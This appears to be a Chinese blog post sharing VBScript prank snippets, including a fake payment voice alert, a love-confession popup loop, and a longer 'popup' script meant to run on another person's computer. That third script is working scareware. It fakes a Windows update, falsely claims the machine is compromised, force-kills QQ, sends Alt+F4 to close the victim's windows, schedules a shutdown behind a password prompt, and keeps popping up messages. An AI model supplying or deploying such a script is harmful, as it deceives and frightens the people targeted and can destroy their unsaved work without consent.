分享几个自己在网上收集的有趣vbs后缀代码

首先分享一个瞬间变为百万富翁的方法

 CreateObject("SAPI.SpVoice").Speak"支付宝到账,一百万元"

然后保存后按f12把文件后缀改为vbs
变有钱.png
如果直接打开大多数是会显示错误 因为里面有中文 编码方式可能会出问题
建议下载一个notepad++的软件
1.png

把这个vbs文件在这个软件中打开 然后修改编码方式
2.png

保存后在打开文件 你就是有钱人了

最后提醒一句很重要的 苟富贵,勿相忘!!!

虽然我也是单身狗 但是梦想还是要有 给大家分享一个简单的表白代码 双引号里面的内容可以自己想点更撩的 这里就是举个例子(前提是这个文件对方得在电脑上打开)

也是现在电脑上新建文本文档

然后输入代码

msgbox"我有一件事想跟你说" 

msgbox("自从第一天见你,我便对你难以忘怀!")

msgbox("我喜欢上了你")

msgbox("我希望你能接受我的爱意")

dim j

do while j<1

Select Case msgbox("2020我们在一起好吗",68,"")

Case 6 j=1

Case 7 msgbox("你在考虑下呗")

end Select

loop

msgbox("爱你!!!")

保存后修改文件后缀为vbs

直接打开如果显示不正确 要么就是和上面一样下载notepad等类型软件 将其改为ANSI编码
3.png

或者就是直接把文档里的中文翻译成英文 这样就可以直接运行 前提是你的女神能看懂你的表白英文

运行后就会出现弹框
4.png
5.png
6.png

这时候如果点击否或是关闭

7.png

如果同意的话
8.png

当然这只是美好的梦~

弹窗认父

首先源码是、

Set ws=WScript.CreateObject("WScript.Shell")

ws.popup"发现重要windows更新未安装,系统将自动下载更新并安装",10  

ws.popup"正在下载windows更新……",12

wscript.sleep 5000

ws.popup"windows更新已下载完毕,正在安装更新……",12

wscript.sleep 1000

ws.popup"windows更新安装成功!",vbinfmation,20

msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation

ws.popup"哈哈,我已经控制了你的电脑!",12,"很高兴见到你",64

ws.popup"不信?我用你的电脑打开网站给你看看",10

ws.run"http://www.4399.com/"

ws.popup"唉:-(( ⊙ o ⊙ )! 886",30

ws.popup"下机可不能忘了关QQ 我吧你QQ关了哈",8

ws.run "taskkill /f /im qq.exe"

ws.popup"慢慢玩哦",27

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

for d=0 to 4

WSHshell.SendKeys "%{F4}"

next

ws.run"shutdown -s -t 50000"

wscript.sleep 2000

dim a

do

a=inputbox("请输入解除关机密码")

if a="现科你大哥" then

ws.run"shutdown -a"

msgbox"密码验证成功,enjoy the best!"

exit do

else

msgbox"密码验证失败,请输入解除关机密码:现科你大哥 ",vbretrycancel

end if

loop

ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?我还没那么打本事能做出病毒来!",57

ws.popup"好啦~,跟你开了个小小玩笑。我们感情还在的。",62

wscript.sleep 8900

do until i=10

i=i+1

msgbox "你大哥还在偷偷看着你呢,他想听你叫声哥哥!",16+4096,"系统提示:"

wscript.sleep 1000*45

loop

这个代码修改vb后缀执行后会开始弹窗 之后在对方电脑上打开你指定的网站 这里我是放了4399小游戏的网址 然后命令会关闭对方的QQ 之后让其输入密码 会提示他密码是现科你大哥 这个密码可以自己在代码里换自己想换的

到最后还会有个一直间断弹出的弹窗 内容就是代码最后设置的那段 “你大哥还在偷偷看着你呢,他想听你叫声哥哥!” 想关闭这个得在任务管理器的 服务列表中 中找到对应的窗口关闭

10.png

这个关闭后弹窗就没了

这些代码的简单意思是

ws.popup”发现重要windows更新未安装,系统将自动下载更新并安装”,10 ws.popup相当于创建弹窗内容

wscript.sleep 5000 这段代码的意思是暂停5000毫秒 也就是五秒钟

ws.run”http://www.4399.com/“ 这里是指定打开哪个网站

ws.run “taskkill /f /im qq.exe” 将对方的QQ关闭

这里就是分享了几个自己网上找到的有趣代码 一方面是自己娱乐娱乐 另一方面是可以在自己执行的时候学到一点简单的知识。

相关推荐

发表评论

路人甲

网友评论(0)